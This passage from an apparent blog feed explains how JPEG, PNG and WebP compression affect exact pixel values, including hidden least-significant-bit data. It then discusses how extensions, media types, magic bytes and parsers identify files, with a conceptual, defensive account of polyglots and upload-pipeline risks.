&lt;p&gt;JPEG therefore works on small blocks. In the common baseline process, each image component is divided into blocks of 8 × 8 samples. That gives the encoder a local patch rather than 64 unrelated numbers.&lt;/p&gt;
&lt;p&gt;Before this happens, a typical encoder separates brightness from color differences. Human vision usually notices fine brightness structure more readily than equally fine color structure, so the color components can be stored at a lower resolution. This is chroma subsampling. It is common, but it is not the transform itself and it is not mandatory in every JPEG workflow.&lt;/p&gt;
&lt;p&gt;Now the encoder has an 8 × 8 block. It still needs a way to separate the broad shape from the tiny variations.&lt;/p&gt;
&lt;h2&gt;The block becomes a mixture of patterns&lt;/h2&gt;
&lt;p&gt;Imagine describing a patch of sky. Most of the patch is one broad blue tone, perhaps with a slow change toward one edge. Listing all 64 values repeats almost the same information.&lt;/p&gt;
&lt;p&gt;The Discrete Cosine Transform (DCT) asks a different set of questions. How much of the block is a flat average? How much changes slowly from left to right? How much alternates rapidly in both directions?&lt;/p&gt;
&lt;p&gt;The transform produces 64 answers, called coefficients. The top-left coefficient describes the average level of the block. Moving across or down the matrix represents progressively faster variation.&lt;/p&gt;
&lt;p&gt;Nothing has been discarded yet. The 64 samples became 64 coefficients, and the transform can be reversed within its numeric precision. The advantage is that a smooth area concentrates most of its useful information near the low-frequency corner. Many high-frequency coefficients are already small.&lt;/p&gt;
&lt;p&gt;JPEG has turned “which pixels can I damage?” into a much better question: “which fine patterns contribute least to this block?”&lt;/p&gt;
&lt;h2&gt;One rounding step creates the loss&lt;/h2&gt;
&lt;p&gt;JPEG now divides every coefficient by a value from a quantization table and rounds the result to an integer. &lt;a href=&quot;https://www.itu.int/rec/T-REC-T.84/en&quot;&gt;ITU-T T.84&lt;/a&gt; describes this correspondence between the 64 transform coefficients and 64 quantization values.&lt;/p&gt;
&lt;p&gt;If one coefficient is 17 and its quantizer is 12, the stored value becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;17 / 12 = 1.42 → 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During decoding, that value is multiplied by 12:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 × 12 = 12
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The missing five units are not hidden elsewhere. Rounding merged several possible inputs into the same stored integer, so the decoder cannot know which one was original.&lt;/p&gt;
&lt;p&gt;Larger quantizers produce more aggressive rounding. Small high-frequency coefficients often become zero, which leaves long, repetitive runs that the final lossless coding stage can store very cheaply.&lt;/p&gt;
&lt;p&gt;This is where JPEG becomes small: first it reorganizes detail into coefficients, then it deliberately reduces their precision, and only then does it compress the simpler result.&lt;/p&gt;
&lt;h2&gt;Missing frequencies return as visible shapes&lt;/h2&gt;
&lt;p&gt;The decoder multiplies the stored integers by the quantization table, applies the inverse DCT, and rebuilds the pixels. Because the coefficients were rounded, the reconstructed block is only an approximation.&lt;/p&gt;
&lt;p&gt;The shape of the error follows the information that disappeared. If adjacent blocks were simplified differently, their borders may stop matching and the familiar 8 × 8 grid becomes visible. If a hard edge lost too much high-frequency detail, the reconstruction can ripple around it and produce a halo called ringing.&lt;/p&gt;
&lt;p&gt;JPEG did not store those artifacts. They are what missing frequency precision looks like after it has been turned back into pixels.&lt;/p&gt;
&lt;p&gt;At higher quality, the same process still changes many values, but by amounts that are hard to see. Peak Signal-to-Noise Ratio (PSNR), shown in the microscope, summarizes numeric error. It can tell us that one round trip changed the samples less than another. It cannot fully predict which image will look better to a person.&lt;/p&gt;
&lt;h2&gt;A website has no visual tolerance&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;/tools/website-inside-image/&quot;&gt;Website Inside an Image tool&lt;/a&gt; stores data in the least significant bits of red-green-blue (RGB) samples. For the picture, changing 184 to 185 is negligible. For the payload, it changes a zero into a one.&lt;/p&gt;
&lt;p&gt;Quantization does not know that the quietest bit of a color value contains HTML. It only knows which block patterns can be approximated. When the decoder reconstructs new pixels from rounded coefficients, those exact bit positions are effectively random from the payload&apos;s point of view.&lt;/p&gt;
&lt;p&gt;This is why the hidden-bit grid can collapse while the image above it looks stable. The codec preserved the information needed for a convincing picture. The website asked it to preserve something else.&lt;/p&gt;
&lt;p&gt;The better question for any lossy format is therefore not “How many pixels does it delete?” JPEG does not need to delete pixels at all.&lt;/p&gt;
&lt;p&gt;Ask what the format promises to reconstruct. JPEG promises an approximation built from quantized frequencies. Once the image and the hidden payload depend on different promises, their opposite outcomes stop being surprising.&lt;/p&gt;
</content:encoded></item><item><title>How PNG compresses pixels without changing them</title><link>https://didof.dev/blog/how-png-compression-works/</link><guid isPermaLink="true">https://didof.dev/blog/how-png-compression-works/</guid><description>See how PNG exposes the repetition between neighboring pixels, compresses those differences, and still keeps an exact route back to every original sample.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { ImageCompressionMicroscope } from &quot;@/components/blog/image-compression-microscope/ImageCompressionMicroscope&quot;;&lt;/p&gt;
&lt;p&gt;Switch the microscope to PNG and the hidden-bit map becomes boring: every bit survives.&lt;/p&gt;
&lt;p&gt;The file can still be much smaller than the raw pixels. That creates an apparent contradiction. If no pixel value may change, where does the saved space come from?&lt;/p&gt;
&lt;p&gt;It comes from repetition that was present in the image but difficult to see in its original form.&lt;/p&gt;
&lt;p&gt;&amp;lt;ImageCompressionMicroscope client:visible initialFormat=&quot;png&quot; compact /&amp;gt;&lt;/p&gt;
&lt;p&gt;The browser performs the image round trip above. The filter panel below it is a separate explanatory model: it applies each standard PNG filter to the same short row so that we can see what changes before the real compressor starts.&lt;/p&gt;
&lt;h2&gt;Exact pixels can still be inefficiently described&lt;/h2&gt;
&lt;p&gt;Take five values from a smooth gradient:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;120, 121, 122, 123, 124
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Written directly, the sequence looks like five different numbers. Written as the first value followed by each change, it becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;120, 1, 1, 1, 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No information disappeared. Starting from 120 and adding the four changes reconstructs the original sequence exactly. But the second description exposes a pattern that a compressor can exploit.&lt;/p&gt;
&lt;p&gt;This is the useful idea behind PNG&apos;s row filters. They do not make the image smaller by themselves. They make its local regularity more obvious.&lt;/p&gt;
&lt;h2&gt;Each byte is described from bytes the decoder already knows&lt;/h2&gt;
&lt;p&gt;PNG first serializes image samples into rows. In a simple 8-bit red-green-blue-alpha image, the bytes arrive as red, green, blue, alpha, then the same four channels for the next pixel.&lt;/p&gt;
&lt;p&gt;For every row, the encoder chooses one of five filters defined by the &lt;a href=&quot;https://www.w3.org/TR/png-3/&quot;&gt;PNG specification&lt;/a&gt;. A filter predicts the current byte from values already available to the decoder: the byte to the left, the byte above, some combination of both, or no prediction at all.&lt;/p&gt;
&lt;p&gt;The encoder stores the difference between the real value and that prediction. PNG calls this difference a filtered byte; it is often easier to understand as a residual.&lt;/p&gt;
&lt;p&gt;If nearby pixels are similar, the residuals cluster around zero. A flat color can turn into a long run of zeros. A steady gradient can turn into repeated small values. The visual structure of the image has become repetition in a byte stream.&lt;/p&gt;
&lt;p&gt;A prediction does not need to be accurate for the file to remain correct. A poor choice merely creates awkward residuals and a larger file. During decoding, the same prediction is added back, so the original byte returns either way.&lt;/p&gt;
&lt;p&gt;Prediction quality changes size. It does not change fidelity.&lt;/p&gt;
&lt;h2&gt;DEFLATE compresses the pattern the filters revealed&lt;/h2&gt;
&lt;p&gt;Once the rows have been filtered, PNG passes them to DEFLATE. This stage combines two useful shortcuts.&lt;/p&gt;
&lt;p&gt;When a sequence of bytes has already appeared nearby, a Lempel-Ziv 1977 (LZ77) reference can say “copy this many bytes from that earlier distance” instead of writing them again. Then Huffman coding gives shorter bit patterns to common symbols and longer patterns to rare ones.&lt;/p&gt;
&lt;p&gt;The order matters. The row filter turns similar pixels into similar residuals. That creates more repeated sequences and more common symbols. DEFLATE can then describe the transformed stream with fewer bits.&lt;/p&gt;
&lt;p&gt;The decoder reverses the same chain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compressed stream
  → restore filtered bytes
  → add each row prediction
  → recover the original samples
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every shortcut comes with the information needed to undo it. That is the lossless contract.&lt;/p&gt;
&lt;h2&gt;Why some PNG files barely shrink&lt;/h2&gt;
&lt;p&gt;Now the limit follows naturally. Prediction helps only when the image contains predictable structure.&lt;/p&gt;
&lt;p&gt;In photographic noise, neighboring pixels can differ irregularly. The residuals remain messy, repeated sequences become scarce, and DEFLATE finds fewer shortcuts. On a very small image, PNG&apos;s chunk and compression metadata can even outweigh the savings.&lt;/p&gt;
&lt;p&gt;Two encoders can also produce different file sizes from the same pixels. One may choose better row filters or search harder for repeated sequences. Both files can still decode to exactly the same samples.&lt;/p&gt;
&lt;p&gt;So “lossless” does not mean “small,” and it does not mean “the file bytes never change.” Re-saving a PNG may rearrange metadata and build a completely different compressed stream. The promise applies to the reconstructed image.&lt;/p&gt;
&lt;h2&gt;Why the hidden website survives—and when it does not&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;/blog/how-a-website-fits-inside-a-png&quot;&gt;website-in-an-image experiment&lt;/a&gt; uses the least significant bits of red, green, and blue samples as storage. PNG treats those bits as ordinary parts of each byte. They may make prediction slightly worse, but the format cannot round them away.&lt;/p&gt;
&lt;p&gt;DEFLATE restores every residual. The inverse filter restores every sample. The payload therefore survives the codec itself.&lt;/p&gt;
&lt;p&gt;But a PNG file can pass through a process that does not preserve that contract. A platform may resize the image, convert its color representation, flatten transparency, or decode it and create a new JPEG. The input was PNG; the pipeline was not lossless from end to end.&lt;/p&gt;
&lt;p&gt;The first version of our extractor found an even narrower boundary. On one phone, the ordinary browser rendering path changed two least-significant bits while the picture still looked right. The final tool parses the supported PNG datastream directly instead of assuming that every application-facing pixel path preserves the reference values.&lt;/p&gt;
&lt;p&gt;That failure is useful because it prevents a lazy conclusion. PNG does not “leave pixels alone.” It transforms their representation quite aggressively.&lt;/p&gt;
&lt;p&gt;What makes PNG lossless is more precise: every transformation carries an exact route back.&lt;/p&gt;
</content:encoded></item><item><title>Why WebP can be lossy or lossless</title><link>https://didof.dev/blog/how-webp-compression-works/</link><guid isPermaLink="true">https://didof.dev/blog/how-webp-compression-works/</guid><description>Why two files called WebP can make opposite promises: one quantizes a predicted image, while the other keeps every transform reversible.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { ImageCompressionMicroscope } from &quot;@/components/blog/image-compression-microscope/ImageCompressionMicroscope&quot;;&lt;/p&gt;
&lt;p&gt;Two images can both end in &lt;code&gt;.webp&lt;/code&gt; while making opposite promises.&lt;/p&gt;
&lt;p&gt;One may return pixels that only look like the original. The other may return every value exactly. This is why “save it as WebP” tells us less than it appears to.&lt;/p&gt;
&lt;p&gt;WebP is a container for two different codec families: a lossy path based on a VP8 intra-frame, and a separate lossless format called VP8L.&lt;/p&gt;
&lt;p&gt;&amp;lt;ImageCompressionMicroscope client:visible initialFormat=&quot;webp&quot; compact /&amp;gt;&lt;/p&gt;
&lt;p&gt;The microscope asks the browser to encode WebP, then reads the returned file header. That detail matters because the browser API accepts a desired quality value but provides no switch that says “use lossless WebP.” A quality value of 1 is still only a high lossy-quality request unless the returned bitstream says otherwise.&lt;/p&gt;
&lt;h2&gt;The file tells the decoder which WebP it contains&lt;/h2&gt;
&lt;p&gt;Near the beginning of a WebP file, a four-character code identifies what follows. &lt;code&gt;VP8 &lt;/code&gt; marks the simple lossy stream. &lt;code&gt;VP8L&lt;/code&gt; marks lossless data. &lt;code&gt;VP8X&lt;/code&gt; introduces an extended container that can combine image data with features such as alpha, animation, color profiles, and metadata.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developers.google.com/speed/webp/docs/riff_container&quot;&gt;WebP container specification&lt;/a&gt; defines that structure, while &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9649.html&quot;&gt;RFC 9649&lt;/a&gt; specifies the two image formats.&lt;/p&gt;
&lt;p&gt;The extension gets the file to a WebP decoder. The internal code tells that decoder which set of rules to use.&lt;/p&gt;
&lt;p&gt;Those rules diverge at one decisive question: may the encoder throw precision away?&lt;/p&gt;
&lt;h2&gt;Lossy WebP first tries to guess the block&lt;/h2&gt;
&lt;p&gt;JPEG transforms a small block of image samples and then quantizes the resulting frequencies. Lossy WebP adds a prediction step before the transform.&lt;/p&gt;
&lt;p&gt;When the decoder reaches a block, it has already reconstructed pixels above and to the left. Those neighbors often reveal the local direction of an edge or a smooth color transition. The encoder chooses a prediction that both sides can reproduce, then stores the difference between that guess and the actual block.&lt;/p&gt;
&lt;p&gt;This difference is the residual. A good prediction leaves a residual with smaller, simpler values. VP8 transforms that residual and quantizes the result. Quantization rounds distinct values into the same stored representation, so exact reconstruction is no longer possible.&lt;/p&gt;
&lt;p&gt;The prediction must use already reconstructed neighbors, not the unavailable originals. Otherwise, the encoder and decoder would make slightly different guesses and the error would spread across later blocks. &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6386.html&quot;&gt;RFC 6386&lt;/a&gt; describes this intra-frame decoding process.&lt;/p&gt;
&lt;p&gt;Lossy WebP therefore reaches compression through a clear causal chain: predictable neighbors produce a small residual; a small residual produces compact transform coefficients; quantization removes precision; the remaining symbols become cheaper to code.&lt;/p&gt;
&lt;h2&gt;Lossless WebP keeps the prediction but removes the irreversible step&lt;/h2&gt;
&lt;p&gt;VP8L also predicts pixels from their surroundings. It can additionally transform color relationships, subtract the green channel from red and blue, or replace recurring colors with palette indices.&lt;/p&gt;
&lt;p&gt;These operations may rearrange the data dramatically, but each one is reversible. The encoder then looks for repeated sequences, recent colors, and common symbols. It can replace a repeated sequence with a backward reference, refer to a small color cache, and assign shorter codes to frequent values.&lt;/p&gt;
&lt;p&gt;The decoder reverses those instructions and restores the same 8-bit color values. No quantization step sits in the middle.&lt;/p&gt;
&lt;p&gt;This makes the difference between the two WebP paths much less mysterious. Both try to expose prediction and repetition. Lossy VP8 gains more compression by rounding the prediction error. VP8L must keep enough information to reconstruct that error exactly.&lt;/p&gt;
&lt;h2&gt;Why “WebP is smaller” is an incomplete comparison&lt;/h2&gt;
&lt;p&gt;The extension alone does not determine file size. An encoder still chooses how hard to search for predictions, transforms, repeated sequences, and entropy codes. The image itself determines which choices pay off.&lt;/p&gt;
&lt;p&gt;Even a comparison between lossy WebP and JPEG needs a matching rule. Are the images compared at the same numeric error, the same perceptual score, or a quality setting that happens to share a label? Google&apos;s &lt;a href=&quot;https://developers.google.com/speed/webp/docs/webp_study&quot;&gt;WebP compression study&lt;/a&gt; reports results for specific encoders, datasets, and a Structural Similarity Index Measure (SSIM) matching method. It does not create a permanent exchange rate between &lt;code&gt;.jpg&lt;/code&gt; and &lt;code&gt;.webp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The accurate unit of comparison is the whole experiment: format, encoder, settings, source images, and quality criterion.&lt;/p&gt;
&lt;h2&gt;The hidden bits reveal which promise we received&lt;/h2&gt;
&lt;p&gt;A payload stored in exact red-green-blue (RGB) bits survives only if those samples return unchanged.&lt;/p&gt;
&lt;p&gt;Lossy VP8 cannot promise that. Its prediction may be excellent and the image may look clean, but quantization changes the reconstructed values. The hidden payload can fail for the same reason it fails in JPEG.&lt;/p&gt;
&lt;p&gt;VP8L can preserve it because its transforms are reversible. A later resize, crop, color conversion, or lossy re-encode can still destroy it, but that damage belongs to the surrounding pipeline rather than to lossless decoding itself.&lt;/p&gt;
&lt;p&gt;This gives us a practical rule. When exact values matter, do not reason from the extension or from a quality slider. Inspect the bitstream and identify the invariant of the codec inside it.&lt;/p&gt;
&lt;p&gt;Both files are WebP. Only one of them promises the same pixels back.&lt;/p&gt;
</content:encoded></item><item><title>A File Doesn&apos;t Know What Kind of File It Is</title><link>https://didof.dev/blog/a-file-does-not-know-its-type/</link><guid isPermaLink="true">https://didof.dev/blog/a-file-does-not-know-its-type/</guid><description>Rename a JPEG to .zip and its bytes stay unchanged. See how file extensions, media types, magic bytes, and parsers identify files—and where they disagree.</description><pubDate>Sun, 09 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import FileIdentityLab from &quot;./file-identity-lab&quot;;
import InterpretationHandoff from &quot;./interpretation-handoff.astro&quot;;&lt;/p&gt;
&lt;p&gt;Take a JPEG named &lt;code&gt;photo.jpg&lt;/code&gt;. Duplicate it, rename the copy to &lt;code&gt;photo.zip&lt;/code&gt;, and compare the two files byte for byte.&lt;/p&gt;
&lt;p&gt;Nothing inside changed. The first byte is still the first byte of the JPEG. The compressed image data is still where it was. The checksum is identical.&lt;/p&gt;
&lt;p&gt;Yet the icon may change. Double-clicking may launch an archive utility instead of an image viewer. An upload form may accept one name and reject the other. One part of the system now behaves as if the file changed, even though the file&apos;s contents did not.&lt;/p&gt;
&lt;p&gt;That contradiction is the useful ambiguity behind the title. A file can contain strong evidence about its format, but it does not carry one universal field that every program must treat as its true identity.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A file type is a conclusion, not a universal property.&lt;/strong&gt; Filename conventions, media types, magic bytes, format parsers, and applications inspect the same bytes for different decisions. The bytes constrain their answers, but no single observer replaces all the others.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The way out is to stop asking only &lt;em&gt;what type is this file?&lt;/em&gt; and ask which observer made the claim, what it checked, and which decision comes next.&lt;/p&gt;
&lt;p&gt;The laboratory below makes that separation observable. Its first view places a valid one-pixel Portable Network Graphics (PNG) image beside the exact same bytes given a &lt;code&gt;.zip&lt;/code&gt; name and a conflicting media type. The second view adds an eight-byte file that contains only the PNG signature. You can also inspect a local file without uploading it.&lt;/p&gt;
&lt;p&gt;&amp;lt;FileIdentityLab client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;In &lt;strong&gt;Compare rename&lt;/strong&gt;, only the filename and supplied media type change. The initial bytes, hash, signature, and PNG parser result remain identical. In &lt;strong&gt;Inspect structure&lt;/strong&gt;, the header-only sample starts like a PNG but cannot be decoded as one. Those are different claims, not confidence levels for one universal type.&lt;/p&gt;
&lt;h2&gt;What does a file extension actually tell you?&lt;/h2&gt;
&lt;p&gt;A file extension tells the surrounding system which behavior to try first. It is part of the filename, so renaming a file can change its routing signal without changing a single byte of its content.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/shell/fa-intro&quot;&gt;Microsoft describes Windows file associations&lt;/a&gt; in exactly these terms: &lt;code&gt;.jpg&lt;/code&gt; can select an image viewer, while &lt;code&gt;.zip&lt;/code&gt; can select an archive utility. The &lt;a href=&quot;https://specifications.freedesktop.org/shared-mime-info/latest-single&quot;&gt;freedesktop.org shared MIME database&lt;/a&gt; similarly keeps filename patterns beside rules that inspect content.&lt;/p&gt;
&lt;p&gt;Reading a suffix is fast, requires no access to the file body, and usually matches the author&apos;s intent. That makes extensions useful. It does not make the suffix a property of the bytes.&lt;/p&gt;
&lt;p&gt;When we rename &lt;code&gt;photo.jpg&lt;/code&gt; to &lt;code&gt;photo.zip&lt;/code&gt;, we change the routing hint. We do not turn the JPEG grammar into the ZIP grammar. An archive utility can still try to parse the file and reject it. An image decoder that ignores the name can still display it.&lt;/p&gt;
&lt;p&gt;The name therefore answers a practical question: &lt;strong&gt;which behavior should the surrounding system try first?&lt;/strong&gt; It does not prove what structure the file contains.&lt;/p&gt;
&lt;h2&gt;Is a media type the real file type?&lt;/h2&gt;
&lt;p&gt;No. A media type declares the intended interpretation of data in a particular context. It can guide the receiver toward &lt;code&gt;image/png&lt;/code&gt; or &lt;code&gt;application/zip&lt;/code&gt;, but it does not prove that the bytes satisfy either format grammar.&lt;/p&gt;
&lt;p&gt;The names are registered by the &lt;a href=&quot;https://www.iana.org/assignments/media-types/&quot;&gt;Internet Assigned Numbers Authority (IANA)&lt;/a&gt;, and the registration procedures are defined in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6838&quot;&gt;Request for Comments (RFC) 6838&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In Hypertext Transfer Protocol (HTTP), a server sends that declaration in the &lt;code&gt;Content-Type&lt;/code&gt; header. &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9110#section-8.3&quot;&gt;RFC 9110&lt;/a&gt; says the field describes both the data format and how the recipient is intended to process it within that message. This is metadata about a representation moving through a protocol. It is not a hidden byte embedded inside every file.&lt;/p&gt;
&lt;p&gt;A local browser file has a related but narrower signal. The &lt;a href=&quot;https://www.w3.org/TR/FileAPI/#file-type-guidelines&quot;&gt;Web File API&lt;/a&gt; exposes &lt;code&gt;File.type&lt;/code&gt;, which must be a lowercase parsable media type or an empty string when the user agent cannot determine one. The specification does not promise that the browser fully parsed the file to produce it. In practice, the result can depend on the browser, operating system and filename information available when the &lt;code&gt;File&lt;/code&gt; object was created.&lt;/p&gt;
&lt;p&gt;That is why the laboratory labels this value &lt;strong&gt;browser-supplied type&lt;/strong&gt;, not &lt;strong&gt;detected format&lt;/strong&gt;. For the built-in renamed sample, the conflicting value is supplied deliberately so that the disagreement remains reproducible on every device.&lt;/p&gt;
&lt;p&gt;The distinction matters at upload boundaries. If a client says &lt;code&gt;image/png&lt;/code&gt;, it has made a claim. A server can use the claim for routing, but it should not treat user-controlled metadata as proof that a decoder will see a safe image.&lt;/p&gt;
&lt;h2&gt;Can magic bytes identify a file?&lt;/h2&gt;
&lt;p&gt;Magic bytes can establish that selected bytes match a known file-signature rule. They cannot establish that the complete input is valid, safe, or accepted by every parser for that format.&lt;/p&gt;
&lt;p&gt;A PNG datastream, for example, starts with these eight bytes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;89 50 4E 47 0D 0A 1A 0A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/png-3/#5PNG-file-signature&quot;&gt;current PNG specification&lt;/a&gt; explains why the sequence exists. It distinguishes PNG from other datastreams and catches several common transfer errors. The Unix &lt;a href=&quot;https://github.com/file/file&quot;&gt;&lt;code&gt;file&lt;/code&gt; utility and its &lt;code&gt;libmagic&lt;/code&gt; library&lt;/a&gt; generalize this idea through a database of byte patterns and structural tests.&lt;/p&gt;
&lt;p&gt;Signature matching therefore answers a narrower question: &lt;strong&gt;does this input begin like a format I recognize?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The signature is followed by chunks. A conforming PNG begins with an &lt;code&gt;IHDR&lt;/code&gt; header chunk, contains image data in one or more &lt;code&gt;IDAT&lt;/code&gt; chunks, and ends with &lt;code&gt;IEND&lt;/code&gt;. Each chunk also carries a cyclic redundancy check (CRC) over its type and data. That structure also contains the filtered and compressed stream explored in &lt;a href=&quot;/blog/how-png-compression-works&quot;&gt;how PNG compression preserves every sample&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Eight correct bytes followed by nothing satisfy the signature test and fail the format grammar.&lt;/p&gt;
&lt;p&gt;That is what the third laboratory sample demonstrates. Calling it “PNG detected” without qualification would turn a prefix match into a claim about the entire file.&lt;/p&gt;
&lt;h2&gt;A parser checks the whole format grammar&lt;/h2&gt;
&lt;p&gt;A parser makes a stronger claim by checking relationships across the input against one format grammar. Its verdict is still scoped: it establishes what that parser checked, not a universal identity that every other program must adopt.&lt;/p&gt;
&lt;p&gt;For PNG, that means reading chunk lengths without stepping beyond the available bytes, enforcing the order of critical chunks, checking required fields, validating CRC values and reaching a valid &lt;code&gt;IEND&lt;/code&gt;. For ZIP, PDF or an EPUB publication, the relevant structures and constraints are different. There is no universal “parse file” operation detached from a format grammar.&lt;/p&gt;
&lt;p&gt;This gives us another separation:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What it observes&lt;/th&gt;
&lt;th&gt;What it can establish&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Filename&lt;/td&gt;
&lt;td&gt;A suffix such as &lt;code&gt;.png&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A naming convention or application route&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Declared media type&lt;/td&gt;
&lt;td&gt;Metadata such as &lt;code&gt;image/png&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The sender&apos;s intended interpretation in this context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signature match&lt;/td&gt;
&lt;td&gt;Selected bytes at known offsets&lt;/td&gt;
&lt;td&gt;Compatibility with a recognition rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Structural validation&lt;/td&gt;
&lt;td&gt;Relationships across the input&lt;/td&gt;
&lt;td&gt;Conformance to the checks that were actually implemented&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application behavior&lt;/td&gt;
&lt;td&gt;One concrete parser and its surrounding code&lt;/td&gt;
&lt;td&gt;What that program accepts and does&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The last two rows are deliberately not identical.&lt;/p&gt;
&lt;p&gt;A specification describes a language of valid byte sequences. A parser is an implementation that attempts to recognize or consume that language. Real parsers can support only part of a specification, add extensions, recover damaged inputs, ignore trailing data, impose resource limits or contain bugs. Two programs can therefore receive the same bytes and disagree without either program having “changed” the file.&lt;/p&gt;
&lt;p&gt;Sometimes one parser is stricter. Sometimes one is more forgiving. Sometimes they are answering different questions: a thumbnailer may decode the first image it can recover, while an archival validator may reject the same input because one checksum is wrong.&lt;/p&gt;
&lt;p&gt;“It opens” is evidence about one application. It is not a proof of universal conformance.&lt;/p&gt;
&lt;h2&gt;How can one file satisfy two format grammars?&lt;/h2&gt;
&lt;p&gt;A polyglot file is one byte sequence accepted under two or more format interpretations. It works because the bytes satisfy multiple sets of constraints at once, not because parsers are free to invent arbitrary meanings.&lt;/p&gt;
&lt;p&gt;Up to this point, every mismatch could be explained by a wrong label or an incomplete test. Polyglots introduce the stronger case.&lt;/p&gt;
&lt;p&gt;This is possible because format grammars leave different kinds of room. One format may allow comments or ignored fields. Another may locate important structures from the end of the file. A parser may skip bytes that another parser treats as meaningful. If the constraints can coexist, the resulting bytes belong to the intersection of two accepted languages.&lt;/p&gt;
&lt;p&gt;The 2013 paper &lt;a href=&quot;https://dl.acm.org/doi/10.1145/2508859.2516685&quot;&gt;&lt;em&gt;Polyglots: Crossing Origins by Crossing Formats&lt;/em&gt;&lt;/a&gt; examined how these multiple interpretations could cross security boundaries on the web. More recent research, &lt;a href=&quot;https://arxiv.org/abs/2407.01529&quot;&gt;&lt;em&gt;On the Abuse and Detection of Polyglot Files&lt;/em&gt;&lt;/a&gt;, studied real attack chains and found that format-identification tools could miss polyglots used in the wild.&lt;/p&gt;
&lt;p&gt;There is an important limit here. A file that one tolerant program partially recovers and another program rejects is not automatically a formal polyglot. Neither is a file merely because a text editor can display its bytes. The meaningful claim is that two relevant parsers accept the same input under two format interpretations.&lt;/p&gt;
&lt;p&gt;The laboratory does not generate or distribute a polyglot. We do not need one to establish the article&apos;s central distinction, and a reusable polyglot builder would add risk without adding much understanding.&lt;/p&gt;
&lt;p&gt;This is different from &lt;a href=&quot;/blog/how-a-website-fits-inside-a-png&quot;&gt;hiding a website in PNG color samples&lt;/a&gt;. That experiment adds another interpretation after ordinary image decoding; it does not claim that the PNG file itself also satisfies a second file-format grammar.&lt;/p&gt;
&lt;h2&gt;When does file-type ambiguity become dangerous?&lt;/h2&gt;
&lt;p&gt;File-type ambiguity becomes dangerous only when one stage approves an input under one interpretation and a later stage grants capabilities under another. A mismatched extension, a signature match, a malformed file, or even a polyglot is not a vulnerability by itself.&lt;/p&gt;
&lt;p&gt;Imagine an upload pipeline:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the gate checks the extension and allows images;&lt;/li&gt;
&lt;li&gt;a scanner sees a PNG signature and routes the file to an image-only rule set;&lt;/li&gt;
&lt;li&gt;the server later publishes the original bytes with a scriptable media type;&lt;/li&gt;
&lt;li&gt;a browser or another consumer interprets active content that the first two stages never examined.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The dangerous property is not merely “two types.” It is &lt;strong&gt;validation under one grammar followed by use under a more powerful grammar&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;InterpretationHandoff /&amp;gt;&lt;/p&gt;
&lt;p&gt;The first path isolates that authority change. The other two show the difference between keeping the grammar aligned and narrowing the input by decoding and re-encoding it. Neither response is a universal guarantee; all three make the handoff explicit.&lt;/p&gt;
&lt;p&gt;Modern systems reduce this gap in layers. They allowlist expected media types, parse with a format-specific decoder, reject unexpected structures, re-encode media when preservation of the original bytes is unnecessary, serve untrusted files from isolated origins, use download-oriented disposition when appropriate, and send accurate &lt;code&gt;Content-Type&lt;/code&gt; metadata. On the web, &lt;a href=&quot;https://fetch.spec.whatwg.org/#x-content-type-options-header&quot;&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;/a&gt; tells the browser to enforce the declared type for destinations where the Fetch standard applies that check.&lt;/p&gt;
&lt;p&gt;No single check replaces the others because the checks protect different transitions. Renaming a file does not rewrite its grammar. Matching magic bytes does not validate the body. Successfully decoding an image does not prove that preserving every original byte is safe for every later consumer.&lt;/p&gt;
&lt;blockquote&gt;
